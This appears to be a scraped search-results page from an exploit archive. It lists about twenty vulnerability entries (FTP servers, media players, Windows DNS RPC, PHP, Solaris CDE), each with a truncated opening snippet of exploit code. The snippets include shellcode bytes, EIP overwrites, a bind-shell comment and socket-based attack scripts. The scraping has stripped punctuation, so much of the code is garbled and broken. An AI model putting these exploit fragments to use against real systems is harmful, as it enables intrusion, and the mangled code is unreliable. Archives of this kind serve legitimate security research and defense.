7303 matches found
mpg123 pre0.59s Invalid MP3 Header Memory Corruption Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6593/info A memory corruption vulnerability has been reported for mpg123 that may result in code execution. The vulnerability exists when mpg123 is used to play certain MP3 files. Specifically, when playing MP3 files with...
Crob FTP Server <= 3.6.1 - Remote Stack Overflow Exploit
No description provided by source. / CrobFTP remote stack overflow PoC --------------------------------- Tested on Crob FTP Server 3.6.1, Windows XP Coded by Leon Juranic [email protected] LSS Security / http://security.lss.hr / include stdio.h include windows.h include time.h pragma comment...
linux/x86 normal exit with random (so to speak) return value 5 bytes
No description provided by source. / linux/x86 normal exit w/ random so to speak return value - 5 bytes - izik [email protected] / char shellcode = \x31\xc0 // xor %eax,%eax \x40 // inc %eax \xcd\x80; // int $0x80 int mainint argc, char argv int ret; ret = int &ret + 2; ret = int shellcode; //...
Oracle OTRCREP Oracle 8/9 Home Environment Variable Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/3139/info Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation. A buffer overflow has been discovered in the handling of $ORACLEHOME ...
Microsoft Windows DNS RPC - Remote Buffer Overflow Exploit (port 445) (2)
No description provided by source. Exploit v2 features: - Target Remote port 445 by default but requires auth - Manual target for dynamic tcp port without auth - Automatic search for dynamic dns rpc port - Local and remote OS fingerprinting auto target - Windows 2000 server and Windows 2003 serve...
freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes
No description provided by source. / FreeBSD shellcode chown/tmp/sh, 0, 0; chmod/tmp/sh, 06755; 44 bytes Claes M. Nyberg 20020209 [email protected], [email protected] / / void mainvoid asm xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh pushl...
BomberClone < 0.11.6.2 - (Error Messages) Remote Buffer Overflow Exploit
No description provided by source. / bomberclone 0.11.6.2 remote exploit CVE-2006-0460 3/14/06 [email protected] / include stdio.h include stdlib.h include string.h include unistd.h include sys/types.h include sys/socket.h include netinet/in.h include arpa/inet.h / fork + bind port 31337 - ty izi...
CoolPlayer 2.18 - M3U Playlist Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl Versions affected: 2.18 Tested on: Windows XP Pro SP2 Author: data$hack Usage: expl.pl my $file= exs3.m3u; my $junk= A x 223; my $eip = pack'V',0x7C836940; jmp esp from kernel my $shellcode = \x90 x 10; $shellcode = $shellcode...
LCDProc 0.4 - Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/1131/info A vulnerability exists in the server portion of version 0.4 of the LCDProc package. Several remote buffer overflows exist that could allow a remote attacker to corrupt memory and execute arbitrary code. As liste...
SHOUTcast <= 1.9.4 File Request Format String Exploit (Leaked)
No description provided by source. / Shoutcast = 1.9.4 exploit by crash-x Trys to upload the shellcode to a fixed address and execute it. This exploit was not written bei Simon 'Zodiac' Moser segfault.ch. / include stdio.h include stdlib.h include stdarg.h include string.h include sys/types.h...
PHP <= 4.3.7/ 5.0.0RC3 memory_limit Remote Exploit
No description provided by source. / Remote exploit for the php memorylimit vulnerability found by Stefan Esser in php 4 = 4.3.7 and php 5 = 5.0.0RC3. by Gyan Chawdhary [email protected] felinemenace.org/gyan Greets S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it...
Solaris 7.0 CDE dtmail/mailtool Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/832/info here are three buffer overflow vulnerabilities in the CDE mail utilities, all of which are installed sgid mail by default. The first is exploited through overrunning a buffer in the Content-Type: field, which wou...
phf buffer overflow exploit for Linux-x86
No description provided by source. / | phx.c -- phf buffer overflow exploit for Linux-ix86 | Copyright c 2000 by proton. All rights reserved. | | This program is free software; you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free...
wu-ftpd 2.4.2/2.5 .0/2.6 .0 - Remote Format String Stack Overwrite (1)
No description provided by source. source: http://www.securityfocus.com/bid/1387/info Washington University ftp daemon wu-ftpd is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the...
AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl -w acaroatjervus.it http://www.securityfocus.com/bid/21320 [email protected] is credited with the discovery of this vulnerability use IO::Socket; if!$ARGV1 print Uso: atftp-19.pl victim port\n\n; exit; $victim = IO::Socket::INET-newProto='udp',...
OllyDBG 1.10 and ImpREC 1.7f - (export name) BOF PoC
No description provided by source. ;-------------------------------------------------------------------------; ; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability ; PoC probably older versions affected too, not tested though. ; ; Included shellcode shows a messagebox WinXP...
FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass)
No description provided by source. !/usr/bin/python import socket, sys from struct import pack print \n=============================== print Freefloat FTP Server DEP Bypass print Written by Blake print ===============================\n if lensys.argv != 3: print Usage: %s target port\n % sys.argv...
FreeFloat FTP Server 1.0 - REST, PASV Buffer Overflow Exploit
No description provided by source. !/usr/bin/python +Exploit Title: FreeFloat FTP Server REST and PASV Buffer Overflow Exploit +Date: 18\06\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.freefloat.com/software/freefloatftpserver.zip +Version: 1.00 +Tested On: Windows XP SP3 Brazilian...
KnFTP Server Buffer Overflow Exploit
No description provided by source. !/usr/bin/python tested on windows xp sp3 overwrites EIP seh is overwritten with larger payloads knftpd.exe is the only non safeseh module import sys,socket print \n===================== print KnFTP Buffer Overflow print Written by Blake print...
Xion Audio Player 1.0.127 - (m3u) Buffer Overflow Vulnerability
No description provided by source. Exploit Title: Xion Audio Player 1.0.127 m3u Buffer Overflow Vulnerability Date: 11/23/2010 Author: 0v3r Software Link: http://www.r2.com.au/downloads/files/xionv1.0b127.exe Version: 1.0.127 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python encoded with...